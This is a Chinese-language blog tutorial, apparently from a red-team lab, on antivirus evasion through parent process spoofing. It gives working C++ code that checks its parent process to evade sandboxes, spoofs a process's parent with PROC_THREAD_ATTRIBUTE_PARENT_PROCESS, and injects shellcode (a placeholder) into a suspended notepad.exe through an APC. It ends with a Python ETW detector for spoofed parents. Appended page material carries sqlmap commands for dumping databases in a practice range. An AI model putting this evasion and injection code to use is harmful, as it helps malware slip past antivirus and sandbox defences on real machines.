网络靶场实战-免杀技术之虚假父进程

1. 什么是父进程

  • Windows中进程A创建了另一个进程B,那么进程A就是进程B的父进程,B就是A的子进程。

  • 在每一个进程的内存数据结构中,只保存了其父进程的Pid(Parent ProcessId),即使父进程被关闭了,这个存储父进程Pid的字段也不会更新,因此很多情况下通过父进程Pid很可能找不到任何一个进程(即父进程已经关闭或者异常退出)。

  • 当然这并不是什么大问题,因为目前并没有什么东西需要依赖这个父进程Pid。

  • 通过一个简单实验来说明进程树还有进程之间的关系,我们需要用到Process Hacker 2这个工具。[Process Hacker 2下载链接](https://processhacker.sourceforge.io/downloads.php)

  • 此时我们打开Process Hacker 2 随便找一个进程,我们看下。

    目前由此图可以看到dasHost.exe这个进程是由svchost.exe启动起来的。

  • 这时候我们自己来启动个程序看下,我们首先打开调试器x64dbg或者od都可以,我们在里面随便打开个软件看下。

   

 我这里就随便打开个Hash.exe

    这里因为Hash.exe是32位程序,所以我们用x32dbg来打开

把进程运行起来

可以看到这个进程和x32dbg中间有着联系。

2. 虚假父进程有什么作用

  上面我们说到子进程和父进程中间始终存在着各种关联,所以我们如果想要用我们自己的进程去启动一个程序,那么就会很容易的被检测到从而证明我们是一个可以软件。

    今天所说到的虚假父进程就正好的解决了这个问题,这样就可以在这一层的对抗上去的不错的胜利。

    那么我们所说的技术可以用到哪些的实战环境中呢?

    例如:反调试,反沙箱中。

    反调试我们不必多说,因为从上图可以看到,如果我们判断下我们的父进程不对就结束掉,这样就可以实现很简单的反调试手段。当然这种反调试很容易会被绕过,一般我们也不会去这么处理,对于反调试的手段我们后续再讲。

    反沙箱技术,这里如果读者们有了解过沙箱的实现原理或者看过cuckoo沙箱我们可以知道,一般情况下他会通过固定的进程去启动我们的软件,这里我们只需要将他通过判断过滤掉就已经过掉了反沙箱技术。

  • 我们来演示下怎么过沙箱。

  • 首先我们编译一段代码,输出我们的父进程名字。

#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <string>
#include <iostream>

typedef struct _PROCESS_BASIC_INFORMATION {
  NTSTATUS ExitStatus;
  void* PebBaseAddress;
  ULONG_PTR AffinityMask;
  void* BasePriority;
  ULONG_PTR UniqueProcessId;
  ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;

using NtQueryInformationProcessFunc = LONG(*)(HANDLE, UINT, PVOID, ULONG, PULONG);


int GetParentProcessID(HANDLE process)
{
  LONG status;
  int ppid = (int)-1;
  PROCESS_BASIC_INFORMATION pbi;

  NtQueryInformationProcessFunc NtQueryInformationProcess = (NtQueryInformationProcessFunc)GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationProcess");

  if (!NtQueryInformationProcess)
    return 0;

  status = NtQueryInformationProcess(process, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL);

  if (!status)
    ppid = pbi.InheritedFromUniqueProcessId;

  return ppid;
}

std::string FindProcessName(int ppid) {
  HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  PROCESSENTRY32 process = { 0 };
  process.dwSize = sizeof(process);
  std::string name;
  if (Process32First(snapshot, &process)) {
    do {
      if (ppid == process.th32ProcessID)
      {
        name = process.szExeFile;
      }
    } while (Process32Next(snapshot, &process));
  }

  CloseHandle(snapshot);
  return name;
}

int main()
{
  int ppid = GetParentProcessID((HANDLE)-1);
  std::cout << FindProcessName(ppid).c_str() << std::endl;
  std::cin.get();
  return 0;
}

    我们本地运行起来发现是VS的调试工具起的我们进程这也很好理解比较我们是直接启动的那么此时我们丢到沙箱里面看下结果。

    可以看到这里的进程是explorer.exe,那么我们完全可以用别的进程去起我们的进程让他不是这个explorer.exe,或者修改我们父进程从而绕过去他的启动检测。

3. 怎么实现虚假父进程

    实现父进程主要依靠的是微软的API CreateProcess

    通常我们启动一个进程就是直接CreateProcessA/W 进行直接调用我们我们来看下 我们两个的区别

    可以看到我们通过CreateProcessA直接调用的父进程就会是启动我们进程的进程。

    那么我们对这个进程稍作修改来看下。

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

int main()
{
  //STARTUPINFOEXA si{sizeof(STARTUPINFOEXA)};
  //PROCESS_INFORMATION pi;
  //CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, 0, NULL, NULL, &si.StartupInfo, &pi);

  STARTUPINFOEXA si;
  PROCESS_INFORMATION pi;
  SIZE_T attributeSize;
  memset(&si, 0, sizeof(STARTUPINFOEXA));
  si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
  HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 5640);

  // 这里是我们修改父进程的关键
  InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
  si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
  InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
  UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);

  CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);


  return 0;
}

    可以看出这里我们已经利用这修改父进程的技术去把我们修改的父进程给修改到正常的进程而不是我们自身进程,这样我们的程序最起码看起来更为的逼真。

4. 在虚假父进程中实现ShllCode注入

    那么我们继续在这段代码里写入一段ShellCode去执行一下

#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

int main()
{
  //STARTUPINFOEXA si{sizeof(STARTUPINFOEXA)};
  //PROCESS_INFORMATION pi;
  //CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, 0, NULL, NULL, &si.StartupInfo, &pi);

  STARTUPINFOEXA si;
  PROCESS_INFORMATION pi;
  SIZE_T attributeSize;
  memset(&si, 0, sizeof(STARTUPINFOEXA));
  si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
  HANDLE parentProcessHandle = OpenProcess(MAXIMUM_ALLOWED, false, 4460);

  // 这里是我们修改父进程的关键
  InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
  si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);
  InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);
  UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &parentProcessHandle, sizeof(HANDLE), NULL, NULL);

  unsigned char shellcode[] = "ShellCode...................";
  CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);

  LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  WriteProcessMemory(pi.hProcess, lpBaseAddress, (LPVOID)shellcode, sizeof(shellcode), NULL);
  QueueUserAPC((PAPCFUNC)lpBaseAddress, pi.hThread, NULL);
  ResumeThread(pi.hThread);
  CloseHandle(pi.hThread);

  return 0;
}

    可以看到我们已经成功的修改父进程并且成功的上线了。

5. 怎么检测虚假父进程

    其实我们可以通过ETW去检测到我们真正的父进程的。

    ETW(Event Tracing for Windows,windows事件跟踪)是Windows中最好的取证工具之一。我们可以从**Microsoft-Windows-Kernel-Provider** ETW提供器提供的事件的记录 EventHeader 中访问“创建者进程”ID 。EventHeader 基本上只是实际 ETW 记录的包装,包含与事件创建方式相关的各种信息。这些信息之一是产生新进程的进程的 ProcessID,换句话说,这是不受父进程欺骗技术影响的**真正父进程 ID。

`Providers(提供器)`:可以产生事件日志的程序;

`Consumers`:订阅和监听 Providers 发出的事件的程序;

`Keywords(关键字)`:Providers 提供给 Consumer 的事件类型;

`Tracing session(跟踪会话)`:记录来自一个或多个 Providers 的事件;

`Contollers`:可以启动 Tracing session 的程序。

import time
import etw
import psutil


def getService(name):
    service = None
    try:
        service = psutil.win_service_get(name)
        service = service.as_dict()
    except Exception as ex:
        print("Something went wrong. Please contact the developer.")
        print(str(ex))
    return service


def get_me_my_parent(x):
    _etwData = x[1]
    _realParentPid = int(_etwData['EventHeader']['ProcessId']) # PID that generated this event
    _parentPid = int(_etwData['ParentProcessID'])
    _pid = int(_etwData['ProcessID'])

    # Check parent pid with pid that causes this event (In other words, the original parent).
    _isSpoofed = _realParentPid != _parentPid

    if _isSpoofed:
        # Get PID for service Appinfo. This is the one that will cause consent.exe to run
        service = getService('Appinfo')
        if service and service['status'] == 'running':
            appinfo_pid = service["pid"]
        else:
            print("Appinfo service not found or is not running.")
            return

        # Check if this is caused by UAC. (UAC will spoof your parent process by using svchost service name appinfo)
        _isCausedByUac = True if _realParentPid == appinfo_pid else False

        if _isSpoofed and not _isCausedByUac:
            process_name = ""
            fake_parent_process_name = ""
            real_parent_process_name = ""

            for proc in psutil.process_iter():
                if proc.pid == _pid:
                    process_name = proc.name()
                elif proc.pid == _parentPid:
                    fake_parent_process_name = proc.name()
                elif proc.pid == _realParentPid:
                    real_parent_process_name = proc.name()

            print(
                "Spoofed parent process detected!!!\n\t{0}({1}) is detected with parent {2}({3}) but originally from parent {4}({5}).".format(
                    process_name, _pid, fake_parent_process_name, _parentPid, real_parent_process_name, _realParentPid))


def main_function():
    # define capture provider info
    providers = [
        etw.ProviderInfo('Microsoft-Windows-Kernel-Process', etw.GUID("{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}"))]

    # create instance of ETW class
    job = etw.ETW(providers=providers, event_callback=lambda x: get_me_my_parent(x), task_name_filters="PROCESSSTART")

    # start capture
    job.start()

    try:
        while True:
            pass
    except(KeyboardInterrupt):
        job.stop()
        print("ETW monitoring stopped.")


if __name__ == '__main__':
    main_function()

我们先运行下这段代码 然后在运行我们父进程伪装的程序

可以看到这里我们已经可以找到我们真正的父进程。

6. 总结

本篇文章涉及了几个重要的点,CreateProcessA ETW 父进程伪装。目前我们所做的免杀并非单个技术就可以完成的,我们要结合很多种免杀的手段或者动态改变的手段才能让自己的程序在对抗杀软的时候不落下风。

蛇矛实验室成立于2020年,致力于安全研究、攻防解决方案、靶场对标场景仿真复现及技战法设计与输出等相关方向。团队核心成员均由从事安全行业10余年经验的安全专家组成,团队目前成员涉及红蓝对抗、渗透测试、逆向破解、病毒分析、工控安全以及免杀等相关领域。

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: SQLMap是一个开源的SQL注入自动化工具,可以帮助你通过SQLi-Labs靶场。使用SQLMap,你需要熟悉基本的命令行语法,并了解SQL注入的基本原理。为了使用SQLMap通过SQLi-Labs靶场,你可以尝试使用以下命令: ``` sqlmap -u <target URL> --dbs ``` 这将列出数据库列表。接下来,你可以使用以下命令枚举数据表: ``` sqlmap -u <target URL> -D <database name> --tables ``` 最后,你可以使用以下命令读取数据表中的数据: ``` sqlmap -u <target URL> -D <database name> -T <table name> --dump ``` 请注意,在实际渗透测试中,使用SQLMap和其他工具需要遵循道德准则和法律规定。 ### 回答2: SQL注入是目前常见的一种攻击方式,它很容易对基于SQL的Database进行利用,最终获取Database中的敏感信息。为了更好地理解SQL注入攻击方式,学习和了解其渗透测试方式非常必要。而sqli-labs是一款SQL injection实验环境,旨在用来提高SQL技术的实际应用能力和渗透测试的技能。 在sqli-labs中,存在很多漏洞类型需要渗透测试,通过这些漏洞攻击我们可以得到不同的信息。要完成这些测试,我们需要一个工具来探测一个web应用程序中的SQL注入漏洞,这个工具就是SQLMAP。SQLMAP工具是一个开源工具,用Python语言编写,接受界面式和命令行调用方式,功能非常强大。 下面是sqlmap通关sqli-labs靶场的步骤: 1. 下载并安装SQLMAP SQLMAP安装包的下载可以到官方网站上下载,或者使用Git Clone命令克隆仓库。安装过程中,需要依赖Python环境,所以需要先安装Python环境。 2. 下载sqli-labs sqli-labs的下载可以从官方网站或者GitHub上下载,解压并配置好环境。 3. 识别目标网站 使用命令行工具,进入SQLMAP所在的目录,输入命令:`python sqlmap.py -u <target-url>`,其中,target-url指的是sqli-labs中的URL。 4. 扫描漏洞 使用命令来扫描不同的漏洞,比如:`python sqlmap.py -u <target-url> --dbs`,表示对目标URL进行数据库的探测。 5. 选择漏洞 通过返回的扫描结果,选择需要攻击的漏洞。 6. 进行攻击 对选择的漏洞进行攻击,使用命令:`python sqlmap.py –-tamper=space2mysql -u <target-url> -p <vuln-field> --dbs`,其中,tamper参数是选用的注入脚本,space2mysql就是其中一个比较好用的注入脚本之一,vuln-field指的是目标网站的漏洞点。 7. 数据库探测和获取数据 通过命令:`python sqlmap.py -u <target-url> --dbs`获取到可用的数据库,再使用命令:`python sqlmap.py -u <target-url> -D databaseName -T tableName --dump`来获取表中的数据。 通过上述步骤,sqlmap就可以在sqli-labs的攻击和测试中展示其强大的功能。需要注意的是,任何时候针对他人的web应用程序进行测试之前,务必获得允许进行渗透测试的正式授权。 ### 回答3: SQL注入是一种常见的安全漏洞,黑客可以利用它来攻击网站。为了更好地了解和防范这种攻击,我们可以通过搭建sqli-labs靶场来进行学习和实践,而SQLmap则是一款自动化SQL注入工具,可以大大提高注入的效率。现在,我将详细介绍如何通过SQLmap通关sqli-labs靶场。 第一步:下载sqli-labs和SQLmap 首先,我们需要先下载本地的sqli-labs靶场和SQLmap工具。sqli-labs靶场可以从GitHub上下载,而SQLmap工具则可以从官网或GitHub上下载。 第二步:启动sqli-labs 我们需要启动sqli-labs靶场,进入其对应的文件夹中,运行命令“sudo ./logstart.sh”即可启动。 第三步:寻找sqli-labs中的注入漏洞 接下来,我们需要寻找sqli-labs中的注入漏洞,这可以通过用浏览器访问sqli-labs的web应用程序来完成。我们可以利用输入一些特殊符号来调用SQL语句,并观察服务器的返回结果。如果返回结果与预期不符,则可能存在注入漏洞。 第四步:使用SQLmap进行注入攻击 现在,我们已经找到存在漏洞的地方了,接下来就是使用SQLmap进行注入攻击。在命令行中输入“python sqlmap.py -u [漏洞URL] --dbs”即可进行漏洞测试。如果存在注入漏洞,则SQLmap会在其中进行攻击并自动检测到被攻击的数据库。 第五步:进一步利用SQLmap 此时,我们已经成功地利用SQLmap进行了注入攻击,接下来可以进一步利用SQLmap进行数据抓取、渗透等操作。我们可以通过输入“python sqlmap.py -u [漏洞URL] -D [数据库名] -T [表名] --dump”来进行数据抓取操作,获取数据并进行进一步的分析。 总结: 通过以上步骤,我们可以利用SQLmap成功地通关sqli-labs靶场。值得注意的是,在进行学习和实践过程中,一定要注意合法性和安全性,避免非法入侵和攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

蛇矛实验室

你的鼓励将是我创作的最大动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值